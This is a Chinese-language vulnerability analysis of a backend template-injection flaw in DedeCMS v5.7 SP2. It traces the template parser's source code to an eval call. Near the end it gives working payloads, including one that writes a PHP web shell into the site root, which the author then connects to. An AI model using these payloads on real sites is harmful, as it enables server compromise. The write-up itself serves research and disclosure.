DedeCMS v5.7 SP2
登陆后台(有点鸡肋,但是可以结合DedeCMS的其他漏洞进行利用)
DedeCMS v5.7 SP2后台允许编辑模板页面,通过测试发现攻击者在登陆后台的前提条件下可以通过在模板中插入恶意的具备dedecms模板格式且带有runphp="yes"标签的代码实现模板注入,并且可由此实现RCE与Getshell
在漏洞利用过程中我们选择的模板页面未网站首页,下面以加载模板首页为例进行正向分析~
文件位置:DedeCMS-V5.7-UTF8-SP2\uploads\index.php
代码分析:文件开头处首先检测是否存在/data/common.inc.php文件并以此来判定CMS是否已经安装,如果未安装则重定向到安装向导页面,之后判断请求中upcache是否设置以及index.html是否存在,在我们进行漏洞利用时我们第一次访问网站主页时默认upcache为"1",即不为空(具体可见漏洞复现环节),同时DedeCMS在安装之后默认网站根目录下不会有index.html文件所以进入该if语句中:
之后在L17引入了/include/common.inc.php文件,该文件定义了DedeCMS的一些相关配置,在本漏洞中较为重要的为$cfg_basedir以及$cfg_templets_dir,具体配置如下所示:
之后在L18引入了arc.partview.class.php文件,该文件为一个视图类文件,也是后续模板解析的重要文件之一:
之后在index.php中会通过数据库查询来获取homepageset的数据信息,并且将templet字段的值作为参数传递给MfTemplet函数:
DedeCMS安装之后系统默认homepageset表信息如下所示:
此时的MfTemplet函数如下所示:
之后在index.php中会初始化一个PartView类并调用SetTemplet函数,并传入template的相对网站根目录的物理路径信息:
之后跟进SetTemplet函数(DedeCMS-V5.7-UTF8-SP2\uploads\include\arc.partview.class.php),可以看到该函数主要用于设置解析模板,此时的$temp参数为模板文件路径,$stype由于调用时未指定,所以为当前的初始值—"file",之后在L142调用$this->dtp的loadTemplet函数:
此时的$this-dtp在构造函数中被初始化为一个DedeTagParse类的实例对象,所以此时调用的为DedeTagParse的loadTemplet函数,之后跟进该函数:
LoadTemplet函数继续调用当前类的LoadTemplate函数,之后继续跟进:
之后在LoadTemplate函数中载入模板文件,该函数中首先会判断模板文件是否存在,如果不存在则指定sourceString并解析该sourceString进行返回,在这里我们的filename自然存在,故而进入到else语句中,之后在这会进行一个写文件操作,然后再L384调用loadCahe函数并将filename作为参数传递:
跟进loadCahe函数,该函数主要用于检测模板缓存,同时引入缓冲数据,如果已经存在缓冲文件则返回true,否则返回false,而第一次访问自然不会有缓冲文件(而且该页面也不会设置缓冲,具体见后面分析),所以直接返回False:
PS:由于这里代码较多就直接贴代码了,截图无法放下~
/** * 检测模板缓存 * * @access public * @param string $filename 文件名称 * @return string */ function LoadCache($filename) { global $cfg_tplcache,$cfg_tplcache_dir; if(!$this->IsCache) { return FALSE; } $cdir = dirname($filename); $cachedir = DEDEROOT.$cfg_tplcache_dir; $ckfile = str_replace($cdir,'',$filename).substr(md5($filename),0,16).'.inc'; $ckfullfile = $cachedir.'/'.$ckfile; $ckfullfile_t = $cachedir.'/'.$ckfile.'.txt'; $this->CacheFile = $ckfullfile; $this->TempMkTime = filemtime($filename); if(!file_exists($ckfullfile)||!file_exists($ckfullfile_t)) { return FALSE; } //检测模板最后更新时间 $fp = fopen($ckfullfile_t,'r'); $time_info = trim(fgets($fp,64)); fclose($fp); if($time_info != $this->TempMkTime) { return FALSE; } //引入缓冲数组 include($this->CacheFile); $errmsg = ''; //把缓冲数组内容读入类 if( isset($z) && is_array($z) ) { foreach($z as $k=>$v) { $this->Count++; $ctag = new DedeTAg(); $ctag->CAttribute = new DedeAttribute(); $ctag->IsReplace = FALSE; $ctag->TagName = $v[0]; $ctag->InnerText = $v[1]; $ctag->StartPos = $v[2]; $ctag->EndPos = $v[3]; $ctag->TagValue = ''; $ctag->TagID = $k; if(isset($v[4]) && is_array($v[4])) { $i = 0; $ctag->CAttribute->Items = array(); foreach($v[4] as $k=>$v) { $ctag->CAttribute->Count++; $ctag->CAttribute->Items[$k]=$v; } } $this->CTags[$this->Count] = $ctag; } } else { //模板没有缓冲数组 $this->CTags = ''; $this->Count = -1; } return TRUE; }
之后返回之前的LoadTemplate函数并调用ParseTemplet函数:
跟进ParseTemplet函数,该函数主要用于解析模板,具体逻辑如下所示:
/** * 解析模板 * * @access public * @return string */ function ParseTemplet() { $TagStartWord = $this->TagStartWord; $TagEndWord = $this->TagEndWord; $sPos = 0; $ePos = 0; $FullTagStartWord = $TagStartWord.$this->NameSpace.":"; $sTagEndWord = $TagStartWord."/".$this->NameSpace.":"; $eTagEndWord = "/".$TagEndWord; $tsLen = strlen($FullTagStartWord); $sourceLen=strlen($this->SourceString); if( $sourceLen <= ($tsLen + 3) ) { return; } $cAtt = new DedeAttributeParse(); $cAtt->charToLow = $this->CharToLow; //遍历模板字符串,请取标记及其属性信息 for($i=0; $i < $sourceLen; $i++) { $tTagName = ''; //如果不进行此判断,将无法识别相连的两个标记 if($i-1 >= 0) { $ss = $i-1; } else { $ss = 0; } $sPos = strpos($this->SourceString,$FullTagStartWord,$ss); $isTag = $sPos; if($i==0) { $headerTag = substr($this->SourceString,0,strlen($FullTagStartWord)); if($headerTag==$FullTagStartWord) { $isTag=TRUE; $sPos=0; } } if($isTag===FALSE) { break; } //判断是否已经到倒数第三个字符(可能性几率极小,取消此逻辑) /* if($sPos > ($sourceLen-$tsLen-3) ) { break; } */ for($j=($sPos+$tsLen);$j<($sPos+$tsLen+$this->TagMaxLen);$j++) { if($j>($sourceLen-1)) { break; } else if( preg_match("/[\/ \t\r\n]/", $this->SourceString[$j]) || $this->SourceString[$j] == $this->TagEndWord ) { break; } else { $tTagName .= $this->SourceString[$j]; } } if($tTagName!='') { $i = $sPos+$tsLen; $endPos = -1; $fullTagEndWordThis = $sTagEndWord.$tTagName.$TagEndWord; $e1 = strpos($this->SourceString,$eTagEndWord, $i); $e2 = strpos($this->SourceString,$FullTagStartWord, $i); $e3 = strpos($this->SourceString,$fullTagEndWordThis,$i); //$eTagEndWord = /} $FullTagStartWord = {tag: $fullTagEndWordThis = {/tag:xxx] $e1 = trim($e1); $e2 = trim($e2); $e3 = trim($e3); $e1 = ($e1=='' ? '-1' : $e1); $e2 = ($e2=='' ? '-1' : $e2); $e3 = ($e3=='' ? '-1' : $e3); //not found '{/tag:' if($e3==-1) { $endPos = $e1; $elen = $endPos + strlen($eTagEndWord); } //not found '/}' else if($e1==-1) { $endPos = $e3; $elen = $endPos + strlen($fullTagEndWordThis); } //found '/}' and found '{/dede:' else { //if '/}' more near '{dede:'、'{/dede:' , end tag is '/}', else is '{/dede:' if($e1 < $e2 && $e1 < $e3 ) { $endPos = $e1; $elen = $endPos + strlen($eTagEndWord); } else { $endPos = $e3; $elen = $endPos + strlen($fullTagEndWordThis); } } //not found end tag , error if($endPos==-1) { echo "Tag Character postion $sPos, '$tTagName' Error!<br />\r\n"; break; } $i = $elen; $ePos = $endPos; //分析所找到的标记位置等信息 $attStr = ''; $innerText = ''; $startInner = 0; for($j=($sPos+$tsLen);$j < $ePos;$j++) { if($startInner==0 && ($this->SourceString[$j]==$TagEndWord && $this->SourceString[$j-1]!="\\") ) { $startInner=1; continue; } if($startInner==0) { $attStr .= $this->SourceString[$j]; } else { $innerText .= $this->SourceString[$j]; } } //echo "<xmp>$attStr</xmp>\r\n"; $cAtt->SetSource($attStr); if($cAtt->cAttributes->GetTagName()!='') { $this->Count++; $CDTag = new DedeTag(); $CDTag->TagName = $cAtt->cAttributes->GetTagName(); $CDTag->StartPos = $sPos; $CDTag->EndPos = $i; $CDTag->CAttribute = $cAtt->cAttributes; $CDTag->IsReplace = FALSE; $CDTag->TagID = $this->Count; $CDTag->InnerText = $innerText; $this->CTags[$this->Count] = $CDTag; } } else { $i = $sPos+$tsLen; break; } }//结束遍历模板字符串 if($this->IsCache) { $this->SaveCache(); } }
关于整个解析就不赘述了,这里我们关注一下最后的一个if语句,在这里判断了"IsCache"并由此决定是否调用SaveCache,而该值默认在构造函数中为"False",所以不会进入SaveCache函数中:
那么进入Save函数有什么问题呢?我们这里可以看一下Save函数的逻辑设计:
可以看到在Save函数中调用了CheckDisabledFunctions函数用于检测模板内容,跟进CheckDisabledFunctions看看细节实现,可以看到在该函数中通过foreach进行了循环匹配,过滤相关的敏感函数,而我们这里不会进入到Save函数自然也就不会有函数限制,所以可以使用一切函数进行写shell以及执行命令等操作(当然:如果要过save函数也可以,因为是后台所以可以直接通过配置系统参数的方式来实现,原因在于L209):
下面我们回到正题,继续来看后续的index.php文件逻辑,由于此时的$row['showmod']默认为"0",所以直接进入到else语句中调用display函数:
跟进Display函数,继续调用$this-dtp的display函数,即DedeTagParse类中的Display函数,继续跟进:
之后继续调用当前类的GetResult输出解析模板:
在解析模板过程中会调用AssignSysTag函数,继续跟进该关键函数:
AssignSysTag函数用于处理特殊标记,具体逻辑如下所示:
/** * 处理特殊标记 * * @access public * @return void */ function AssignSysTag() { global $_sys_globals; for($i=0;$i<=$this->Count;$i++) { $CTag = $this->CTags[$i]; $str = ''; //获取一个外部变量 if( $CTag->TagName == 'global' ) { $str = $this->GetGlobals($CTag->GetAtt('name')); if( $this->CTags[$i]->GetAtt('function')!='' ) { //$str = $this->EvalFunc( $this->CTags[$i]->TagValue, $this->CTags[$i]->GetAtt('function'),$this->CTags[$i] ); $str = $this->EvalFunc( $str, $this->CTags[$i]->GetAtt('function'),$this->CTags[$i] ); } $this->CTags[$i]->IsReplace = TRUE; $this->CTags[$i]->TagValue = $str; } //引入静态文件 else if( $CTag->TagName == 'include' ) { $filename = ($CTag->GetAtt('file')=='' ? $CTag->GetAtt('filename') : $CTag->GetAtt('file') ); $str = $this->IncludeFile($filename,$CTag->GetAtt('ismake')); $this->CTags[$i]->IsReplace = TRUE; $this->CTags[$i]->TagValue = $str; } //循环一个普通数组 else if( $CTag->TagName == 'foreach' ) { $arr = $this->CTags[$i]->GetAtt('array'); if(isset($GLOBALS[$arr])) { foreach($GLOBALS[$arr] as $k=>$v) { $istr = ''; $istr .= preg_replace("/\[field:key([\r\n\t\f ]+)\/\]/is",$k,$this->CTags[$i]->InnerText); $str .= preg_replace("/\[field:value([\r\n\t\f ]+)\/\]/is",$v,$istr); } } $this->CTags[$i]->IsReplace = TRUE; $this->CTags[$i]->TagValue = $str; } //设置/获取变量值 else if( $CTag->TagName == 'var' ) { $vname = $this->CTags[$i]->GetAtt('name'); if($vname=='') { $str = ''; } else if($this->CTags[$i]->GetAtt('value')!='') { $_vars[$vname] = $this->CTags[$i]->GetAtt('value'); } else { $str = (isset($_vars[$vname]) ? $_vars[$vname] : ''); } $this->CTags[$i]->IsReplace = TRUE; $this->CTags[$i]->TagValue = $str; } //运行PHP接口 if( $CTag->GetAtt('runphp') == 'yes' ) { $this->RunPHP($CTag, $i); } if(is_array($this->CTags[$i]->TagValue)) { $this->CTags[$i]->TagValue = 'array'; } } }
需要注意的是在上述代码的最后一部分中获取了runphp属性,当该属性值为'yes'时则调用"Runphp"并且将该属性标签以及值作为参数进行传递,之后跟进RunPHP函数,该函数主要用于运行PHP代码,在这里,只是简单的将数据从对象中提取出来,做一些简单的字符串替换,便可成功执行代码,综上,我们传入的$phpcode变量的值应该符合dedecms模板格式,且带有runphp='yes'标签,之后即可在解析过程中传入eval并实现RCE:
故而可以构造以下payload:
{dede:field name='source' runphp='yes'}phpinfo();{/dede:field}
进入Dedecms后台选择模板管理—>默认模板管理—>index.html,之后进行编辑:
之后在模板中插入之前构造的payload:
之后保存:
之后查看网站主页:
加载完成后成功执行phpinfo:
之后我们可以从上述phpinfo中获取网站的绝对物理路径:
那么我们同样可以使用file_put_content写shell进去payload如下所示:
{dede:field name='source' runphp='yes'}file_put_contents('C:/phpstudy/PHPTutorial/WWW/DedeCMS/shell.php','<?php eval($_POST[cmd]);?>');{/dede:field}
保存之后访问web主页:
之后在网站DedeCMS目录下成功写入shell.php:
使用蚁剑连接:
SSTI漏洞很容易被忽略也很容易引起安全问题,当然,SSTI也不一定存在于后端模板编辑处,之前玩过CTF的大佬们应该都有很深刻的经历,SSTI的利用点也很多,出现在前端的也有,例如:74CMS前端SSTI到GetShell等,总之安全总是在攻防两端不断的演化与进步~